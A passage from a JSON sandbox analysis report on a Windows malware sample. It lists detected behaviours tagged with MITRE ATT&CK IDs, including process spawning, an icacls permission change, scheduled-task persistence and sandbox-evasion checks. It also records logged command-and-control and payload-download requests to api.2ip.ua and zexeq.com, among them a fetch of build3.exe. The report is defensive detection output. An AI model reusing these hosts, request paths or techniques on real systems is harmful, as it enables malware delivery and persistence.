eax,mov\teax, dword ptr [ebp + 0xc],pop\tedi,mov\tdword ptr [ebp - 4], eax,pop\tesi,test\teax, eax,je\t0x40501c,test\tbyte ptr [eax], 8,je\t0x40501c,mov\tdword ptr [ebp - 0xc], 0x1994000,lea\teax, [ebp - 0xc],push\teax,push\tdword ptr [ebp - 0x10],push\tdword ptr [ebp - 0x1c],push\tdword ptr [ebp - 0x20],call\tdword ptr [0x401104],leave\t,ret\t8,mov\tedi, edi,push\tebp,mov\tebp, esp,mov\teax, dword ptr [ebp + 8],xor\tecx, ecx,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".data\" is \"0x1069b8\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$42","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.2ip.ua\"\n \"zexeq.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (UID: 00000000-00000656)\n Spawned process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\" /d ...\" (UID: 00000000-00005384)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00005260)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00006816)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Task\" (UID: 00000000-00005660)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Task\" (UID: 00000000-00007352)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (UID: 00000000-00000656)\n Spawned process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\" /d ...\" (UID: 00000000-00005384)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00005260)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00006816)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Task\" (UID: 00000000-00005660)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Task\" (UID: 00000000-00007352)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 8E:9B:92:B4:65:BA:B4:74:D0:4B:5F:8D:D1:8F:D5:B1:7D:42:AD:52; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to schedule tasks using COM objects","description":"Observed string: \"CLSID\\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\" (Indicator: \"clsid\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\") in Source: 00000000-00006816.00000000.156167.00690000.00000004.mdmp\n 00000000-00006816.00000001.158086.00690000.00000004.mdmp\n 00000000-00006816.00000002.160006.00690000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":3,"id":"string-400","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"\"ContentStore.xml\" has type \"Unicode text UTF-16 little-endian text with no line terminators\" - Location: [%APPDATA%\\Microsoft\\Publisher Building Blocks\\ContentStore.xml]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a Windows setup information (INF) file","description":"$44","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-55","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"BIT59EE.tmp\" has type \"MS-DOS executable MZ for MS-DOS\" - Location: [%TEMP%\\BIT59EE.tmp]\n \"BIT6330.tmp\" has type \"MS-DOS executable\" - Location: [%TEMP%\\BIT6330.tmp]\n \"BITF35B.tmp\" has type \"MS-DOS executable\" - Location: [%TEMP%\\BITF35B.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$45","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" queries basic process information of the \"C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (UID: 3720)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$46","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$47","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"References task scheduler-related strings","description":"Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTask\"; File: \"00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTaskDefinition\"; File: \"00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTask\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTaskDefinition\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":1,"id":"string-401","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment using user register activity","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$49","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$4c","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" writes a file \"C:\\bootTel.dat\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" writes a file \"C:\\found.000\\dir0001.chk\\$filehashes$.dat\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00000656)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00006816)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetReadFile\" with parameter 1024 (UID: 00000000-00006816)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00007352)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetOpenA with parameter Microsoft Internet Explorer\" (UID: 00000000-00000656)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetOpenW with parameter Microsoft Internet Explorer\" (UID: 00000000-00000656)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetOpenA with parameter Microsoft Internet Explorer\" (UID: 00000000-00006816)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetOpenW with parameter Microsoft Internet Explorer\" (UID: 00000000-00006816)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetOpenA with parameter Microsoft Internet Explorer\" (UID: 00000000-00007352)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"InternetOpenW with parameter Microsoft Internet Explorer\" (UID: 00000000-00007352)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /geo.json\"\n Found http requests in header \"GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true\"\n Found http requests in header \"GET /files/1/build3.exe\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"55034157120,6688,3230,,InternetReadFile,Wininet.dll,\"00:40:58.062\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.0.2\"\n \"2.5.29.15\"\n \"2.5.29.17\"\n \"2.5.29.31\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.29.14\"\n \"2.5.29.19\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.16\"\n Potential IP \"192.168.0.2\" found in string \"ddress: 192.168.0.2, mac: 8E:46:76:C0:EE:10\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$50","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$51","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /geo.json HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: api.2ip.ua\n\n GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com\n\n GET /files/1/build3.exe HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"4CP=N6{}~v\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://api.2ip.ua\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"api.2ip.ua\" (2 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"References OpenSSL library string","description":"$52","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-5003","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://api.2ip.ua/geo.json","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"api.2ip.ua\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.21.16.1\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00006816\"\n YARA signature for AES encryption matched on file \"tor-gencert.exe\"\n YARA signature for AES encryption matched on process \"00000000-00007352\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Anti Debugging Used","description":"YARA signature matched on Anti Debugging used in file \"winresume.exe\"","origin":"YARA Signature","mitre_attack_id":"T1622","relevance":2,"id":"yara-139","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEA55B1F846CDA2DC7C85E160C7777]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE59D51E89445263744B882E07EA28]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$53","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"0\"}\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"15\"\n \"th32ProcessID\": \"0\"}","origin":"API 